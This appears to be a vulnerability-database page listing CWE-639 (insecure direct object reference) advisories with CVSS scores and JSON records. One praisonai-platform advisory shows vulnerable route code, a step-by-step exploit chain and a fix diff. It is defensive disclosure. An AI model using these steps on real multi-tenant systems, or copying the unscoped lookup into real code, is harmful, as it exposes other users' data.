Insecure Permissions vulnerability in kvf-admin v1.0.0 allows a remote attacker to escalate privileges via the UserController.java component

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-38807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T18:16:22Z",
    "severity": "HIGH"
  },
  "details": "Insecure Permissions vulnerability in kvf-admin v1.0.0 allows a remote attacker to escalate privileges via the UserController.java component",
  "id": "GHSA-27hf-5x7w-h2g3",
  "modified": "2026-05-28T18:30:28Z",
  "published": "2026-05-27T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cagexunxi/CVE/issues/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27HQ-XP89-25MQ

Vulnerability from github – Published: 2026-04-22 15:31 – Updated: 2026-04-22 15:31
VLAI
Details

An insecure direct object reference (IDOR) vulnerability in the Fullstep V5 registration process allows authenticated users to access data belonging to other registered users through various vulnerable authenticated resources in the application. The vulnerable endpoints result from: '/api/suppliers/v1/suppliers//false' to list user information; and '/#/supplier-registration/supplier-registration//2' to update your user information (personal details, documents, etc.).

Severity
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T14:17:06Z",
    "severity": "HIGH"
  },
  "details": "An insecure direct object reference (IDOR) vulnerability in the Fullstep V5 registration process allows authenticated users to access data belonging to other registered users through various vulnerable authenticated resources in the application. The vulnerable endpoints result from: \u0027/api/suppliers/v1/suppliers//false\u0027 to list user information; and \u0027/#/supplier-registration/supplier-registration//2\u0027 to update your user information (personal details, documents, etc.).",
  "id": "GHSA-27hq-xp89-25mq",
  "modified": "2026-04-22T15:31:45Z",
  "published": "2026-04-22T15:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5750"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fullstep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-27HR-9V6H-XMX3

Vulnerability from github – Published: 2025-03-03 03:31 – Updated: 2025-12-12 18:30
VLAI
Details

An Insecure Direct Object References (IDOR) in the component /getStudemtAllDetailsById?studentId=XX of Serosoft Solutions Pvt Ltd Academia Student Information System (SIS) EagleR v1.0.118 allows attackers to access sensitive user information via a crafted API request.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-25952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-03T01:15:11Z",
    "severity": "MODERATE"
  },
  "details": "An Insecure Direct Object References (IDOR) in the component /getStudemtAllDetailsById?studentId=XX of Serosoft Solutions Pvt Ltd Academia Student Information System (SIS) EagleR v1.0.118 allows attackers to access sensitive user information via a crafted API request.",
  "id": "GHSA-27hr-9v6h-xmx3",
  "modified": "2025-12-12T18:30:27Z",
  "published": "2025-03-03T03:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VvV1per/Vulnerability-Research-CVEs/tree/main/CVE-2024-89639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VvV1per/Vulnerability-Research-CVEs/tree/main/CVE-2025-25952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/el-viper/cve-research/tree/main/CVEs/CVE-2025-25952"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27JW-FM48-8F8J

Vulnerability from github – Published: 2025-05-14 09:30 – Updated: 2025-05-14 09:30
VLAI
Details

The PeepSo Core: File Uploads plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.4.6.0 via the file_download REST API endpoint due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to download files uploaded by others users and expose potentially sensitive information.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-8988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T09:15:19Z",
    "severity": "MODERATE"
  },
  "details": "The PeepSo Core: File Uploads plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.4.6.0 via the file_download REST API endpoint due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to download files uploaded by others users and expose potentially sensitive information.",
  "id": "GHSA-27jw-fm48-8f8j",
  "modified": "2025-05-14T09:30:25Z",
  "published": "2025-05-14T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8988"
    },
    {
      "type": "WEB",
      "url": "https://www.peepso.com/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d3184996-655c-41d5-a3c5-6b36fbff58dc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27P4-PJQV-WHGJ

Vulnerability from github – Published: 2026-05-29 22:34 – Updated: 2026-05-29 22:34
VLAI
Summary
praisonai-platform: list_issue_activity returns activity log for any issue regardless of workspace ownership
Details

Summary

Type: Insecure Direct Object Reference. The GET /workspaces/{workspace_id}/issues/{issue_id}/activity endpoint is gated by require_workspace_member(workspace_id) and dispatches to ActivityService.list_for_issue(issue_id), which executes SELECT * FROM activity WHERE issue_id = :issue_id with no workspace constraint. A user who is a member of any workspace can read the full activity log of any issue across the entire multi-tenant deployment. File: src/praisonai-platform/praisonai_platform/api/routes/activity.py, lines 32-43; services/activity_service.py's list_for_issue method.

Root cause: the route extracts workspace_id from the URL path, uses it solely for the membership gate, then passes the URL-supplied issue_id directly to ActivityService.list_for_issue(issue_id) without verifying which workspace the issue belongs to. The companion list_workspace_activity endpoint at line 19-29 is implemented correctly (it passes workspace_id to svc.list_for_workspace(workspace_id)) — the asymmetry is the smoking gun.

Affected Code

File: src/praisonai-platform/praisonai_platform/api/routes/activity.py, lines 19-43.

@router.get("/activity", response_model=List[ActivityLogResponse])
async def list_workspace_activity(
    workspace_id: str,
    limit: int = Query(50, ge=1, le=200),
    offset: int = Query(0, ge=0),
    user: AuthIdentity = Depends(require_workspace_member),
    session: AsyncSession = Depends(get_db),
):
    svc = ActivityService(session)
    logs = await svc.list_for_workspace(workspace_id, limit=limit, offset=offset)  # correct: passes workspace_id
    return [ActivityLogResponse.model_validate(log) for log in logs]


@router.get("/issues/{issue_id}/activity", response_model=List[ActivityLogResponse])
async def list_issue_activity(
    workspace_id: str,
    issue_id: str,
    limit: int = Query(50, ge=1, le=200),
    offset: int = Query(0, ge=0),
    user: AuthIdentity = Depends(require_workspace_member),
    session: AsyncSession = Depends(get_db),
):
    svc = ActivityService(session)
    logs = await svc.list_for_issue(issue_id, limit=limit, offset=offset)  # <-- BUG: no workspace_id
    return [ActivityLogResponse.model_validate(log) for log in logs]

Why it's wrong: activity logs are typically the most sensitive operational record — they include actor identity, action type, entity references, and a free-form details JSON blob that may contain pre-/post-change values for any tracked field. Reading the foreign workspace's activity log gives the attacker a high-fidelity view into who did what when, which is gold for further reconnaissance (cross-workspace member enumeration, foreign issue title disclosure, knowing which projects exist). The same author got list_workspace_activity right by passing workspace_id — the issue-scoped variant is the gap.

Exploit Chain

  1. Attacker is a member of workspace W_attacker and harvests a target issue UUID I_T from any side channel. State: attacker holds I_T.
  2. Attacker sends GET /workspaces/W_attacker/issues/I_T/activity?limit=200 with Authorization: Bearer <attacker_jwt>. State: control flow enters list_issue_activity.
  3. require_workspace_member(W_attacker, attacker) passes. ActivityService.list_for_issue(I_T) runs SELECT * FROM activity WHERE issue_id = 'I_T' ORDER BY created_at DESC LIMIT 200. State: response body is the full activity log for the foreign issue.
  4. The activity entries reveal: every actor (member or agent) who touched the issue, every action (created, updated, commented, status_changed, assignee_changed, project_changed, label_added, dependency_added), and the details JSON blob containing the before/after values of every change. State: the attacker fingerprints the foreign workspace's triage workflow, identifies who works on what, and sees the issue's complete history including any embedded secrets that ever passed through the description or comments.
  5. Final state: with one workspace-member token plus one GET, the attacker reads the full activity timeline of any issue in the multi-tenant deployment given the issue UUIDs.

Security Impact

Severity: sec-moderate. CVSS 6.5: network attack, low complexity, low privileges, no user interaction, scope unchanged, high confidentiality (full activity log including before/after details), no integrity claim (read-only), no availability claim.

Attacker capability: read the activity log of any issue in the deployment given its UUID. Combined with the companion issue-IDOR (which already gives full issue content), this is recon for the foreign workspace's operational tempo, member identity, and triage workflow.

Preconditions: praisonai-platform is deployed multi-tenant; attacker has any workspace-membership token; foreign issue UUIDs are reachable.

Differential: source-inspection-verified. The asymmetry between list_workspace_activity (correctly workspace-scoped) and list_issue_activity (no workspace check) confirms the gap. With the suggested fix below, the route first resolves the issue via IssueService.get(workspace_id, issue_id), returns 404 for foreign issues, and only then proceeds.

Suggested Fix

--- a/src/praisonai-platform/praisonai_platform/api/routes/activity.py
+++ b/src/praisonai-platform/praisonai_platform/api/routes/activity.py
@@ -32,9 +32,12 @@
 @router.get("/issues/{issue_id}/activity", response_model=List[ActivityLogResponse])
 async def list_issue_activity(
     workspace_id: str,
     issue_id: str,
     limit: int = Query(50, ge=1, le=200),
     offset: int = Query(0, ge=0),
     user: AuthIdentity = Depends(require_workspace_member),
     session: AsyncSession = Depends(get_db),
 ):
+    issue_svc = IssueService(session)
+    if await issue_svc.get(workspace_id, issue_id) is None:    # workspace-scoped get from issue-IDOR companion
+        raise HTTPException(status_code=404, detail="Issue not found")
     svc = ActivityService(session)
     logs = await svc.list_for_issue(issue_id, limit=limit, offset=offset)
     return [ActivityLogResponse.model_validate(log) for log in logs]

The same single-key issue lookup pattern is filed separately as the IssueService IDOR; once that is fixed, the helper used here is just IssueService.get(workspace_id, issue_id).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:34:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n**Type:** Insecure Direct Object Reference. The `GET /workspaces/{workspace_id}/issues/{issue_id}/activity` endpoint is gated by `require_workspace_member(workspace_id)` and dispatches to `ActivityService.list_for_issue(issue_id)`, which executes `SELECT * FROM activity WHERE issue_id = :issue_id` with no workspace constraint. A user who is a member of any workspace can read the full activity log of any issue across the entire multi-tenant deployment.\n**File:** `src/praisonai-platform/praisonai_platform/api/routes/activity.py`, lines 32-43; `services/activity_service.py`\u0027s `list_for_issue` method.\n\n**Root cause:** the route extracts `workspace_id` from the URL path, uses it solely for the membership gate, then passes the URL-supplied `issue_id` directly to `ActivityService.list_for_issue(issue_id)` without verifying which workspace the issue belongs to. The companion `list_workspace_activity` endpoint at line 19-29 is implemented correctly (it passes `workspace_id` to `svc.list_for_workspace(workspace_id)`) \u2014 the asymmetry is the smoking gun.\n\n## Affected Code\n\n**File:** `src/praisonai-platform/praisonai_platform/api/routes/activity.py`, lines 19-43.\n\n```python\n@router.get(\"/activity\", response_model=List[ActivityLogResponse])\nasync def list_workspace_activity(\n    workspace_id: str,\n    limit: int = Query(50, ge=1, le=200),\n    offset: int = Query(0, ge=0),\n    user: AuthIdentity = Depends(require_workspace_member),\n    session: AsyncSession = Depends(get_db),\n):\n    svc = ActivityService(session)\n    logs = await svc.list_for_workspace(workspace_id, limit=limit, offset=offset)  # correct: passes workspace_id\n    return [ActivityLogResponse.model_validate(log) for log in logs]\n\n\n@router.get(\"/issues/{issue_id}/activity\", response_model=List[ActivityLogResponse])\nasync def list_issue_activity(\n    workspace_id: str,\n    issue_id: str,\n    limit: int = Query(50, ge=1, le=200),\n    offset: int = Query(0, ge=0),\n    user: AuthIdentity = Depends(require_workspace_member),\n    session: AsyncSession = Depends(get_db),\n):\n    svc = ActivityService(session)\n    logs = await svc.list_for_issue(issue_id, limit=limit, offset=offset)  # \u003c-- BUG: no workspace_id\n    return [ActivityLogResponse.model_validate(log) for log in logs]\n```\n\n**Why it\u0027s wrong:** activity logs are typically the most sensitive operational record \u2014 they include actor identity, action type, entity references, and a free-form `details` JSON blob that may contain pre-/post-change values for any tracked field. Reading the foreign workspace\u0027s activity log gives the attacker a high-fidelity view into who did what when, which is gold for further reconnaissance (cross-workspace member enumeration, foreign issue title disclosure, knowing which projects exist). The same author got `list_workspace_activity` right by passing `workspace_id` \u2014 the issue-scoped variant is the gap.\n\n## Exploit Chain\n\n1. Attacker is a member of workspace `W_attacker` and harvests a target issue UUID `I_T` from any side channel. State: attacker holds `I_T`.\n2. Attacker sends `GET /workspaces/W_attacker/issues/I_T/activity?limit=200` with `Authorization: Bearer \u003cattacker_jwt\u003e`. State: control flow enters `list_issue_activity`.\n3. `require_workspace_member(W_attacker, attacker)` passes. `ActivityService.list_for_issue(I_T)` runs `SELECT * FROM activity WHERE issue_id = \u0027I_T\u0027 ORDER BY created_at DESC LIMIT 200`. State: response body is the full activity log for the foreign issue.\n4. The activity entries reveal: every actor (member or agent) who touched the issue, every action (created, updated, commented, status_changed, assignee_changed, project_changed, label_added, dependency_added), and the `details` JSON blob containing the before/after values of every change. State: the attacker fingerprints the foreign workspace\u0027s triage workflow, identifies who works on what, and sees the issue\u0027s complete history including any embedded secrets that ever passed through the description or comments.\n5. Final state: with one workspace-member token plus one GET, the attacker reads the full activity timeline of any issue in the multi-tenant deployment given the issue UUIDs.\n\n## Security Impact\n\n**Severity:** sec-moderate. CVSS 6.5: network attack, low complexity, low privileges, no user interaction, scope unchanged, high confidentiality (full activity log including before/after `details`), no integrity claim (read-only), no availability claim.\n\n**Attacker capability:** read the activity log of any issue in the deployment given its UUID. Combined with the companion issue-IDOR (which already gives full issue content), this is recon for the foreign workspace\u0027s operational tempo, member identity, and triage workflow.\n\n**Preconditions:** `praisonai-platform` is deployed multi-tenant; attacker has any workspace-membership token; foreign issue UUIDs are reachable.\n\n**Differential:** source-inspection-verified. The asymmetry between `list_workspace_activity` (correctly workspace-scoped) and `list_issue_activity` (no workspace check) confirms the gap. With the suggested fix below, the route first resolves the issue via `IssueService.get(workspace_id, issue_id)`, returns 404 for foreign issues, and only then proceeds.\n\n## Suggested Fix\n\n```diff\n--- a/src/praisonai-platform/praisonai_platform/api/routes/activity.py\n+++ b/src/praisonai-platform/praisonai_platform/api/routes/activity.py\n@@ -32,9 +32,12 @@\n @router.get(\"/issues/{issue_id}/activity\", response_model=List[ActivityLogResponse])\n async def list_issue_activity(\n     workspace_id: str,\n     issue_id: str,\n     limit: int = Query(50, ge=1, le=200),\n     offset: int = Query(0, ge=0),\n     user: AuthIdentity = Depends(require_workspace_member),\n     session: AsyncSession = Depends(get_db),\n ):\n+    issue_svc = IssueService(session)\n+    if await issue_svc.get(workspace_id, issue_id) is None:    # workspace-scoped get from issue-IDOR companion\n+        raise HTTPException(status_code=404, detail=\"Issue not found\")\n     svc = ActivityService(session)\n     logs = await svc.list_for_issue(issue_id, limit=limit, offset=offset)\n     return [ActivityLogResponse.model_validate(log) for log in logs]\n```\n\nThe same single-key issue lookup pattern is filed separately as the IssueService IDOR; once that is fixed, the helper used here is just `IssueService.get(workspace_id, issue_id)`.",
  "id": "GHSA-27p4-pjqv-whgj",
  "modified": "2026-05-29T22:34:08Z",
  "published": "2026-05-29T22:34:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-27p4-pjqv-whgj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: list_issue_activity returns activity log for any issue regardless of workspace ownership"
}

GHSA-27QM-JWXP-8WHW

Vulnerability from github – Published: 2022-11-21 12:30 – Updated: 2025-04-30 15:30
VLAI
Details

The WP-Polls WordPress plugin before 2.76.0 prioritizes getting a visitor's IP from certain HTTP headers over PHP's REMOTE_ADDR, which makes it possible to bypass IP-based limitations to vote in certain situations.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-21T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WP-Polls WordPress plugin before 2.76.0 prioritizes getting a visitor\u0027s IP from certain HTTP headers over PHP\u0027s REMOTE_ADDR, which makes it possible to bypass IP-based limitations to vote in certain situations.",
  "id": "GHSA-27qm-jwxp-8whw",
  "modified": "2025-04-30T15:30:42Z",
  "published": "2022-11-21T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1581"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/c1896ab9-9585-40e2-abbf-ef5153b3c6b2"
    },
    {
      "type": "WEB",
      "url": "https://www.hightechdad.com/2009/12/21/warning-wp-polls-wordpress-poll-plugin-can-be-exploited"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-27R3-85X4-PFQV

Vulnerability from github – Published: 2024-06-05 06:30 – Updated: 2024-06-11 18:30
VLAI
Details

The contains an IDOR vulnerability that allows a user to comment on a private post by manipulating the ID included in the request

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-05T06:15:12Z",
    "severity": "MODERATE"
  },
  "details": "The  contains an IDOR vulnerability that allows a user to comment on a private post by manipulating the ID included in the request",
  "id": "GHSA-27r3-85x4-pfqv",
  "modified": "2024-06-11T18:30:42Z",
  "published": "2024-06-05T06:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4886"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/76e8591f-120c-4cd7-b9a2-79f8d4d98aa8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

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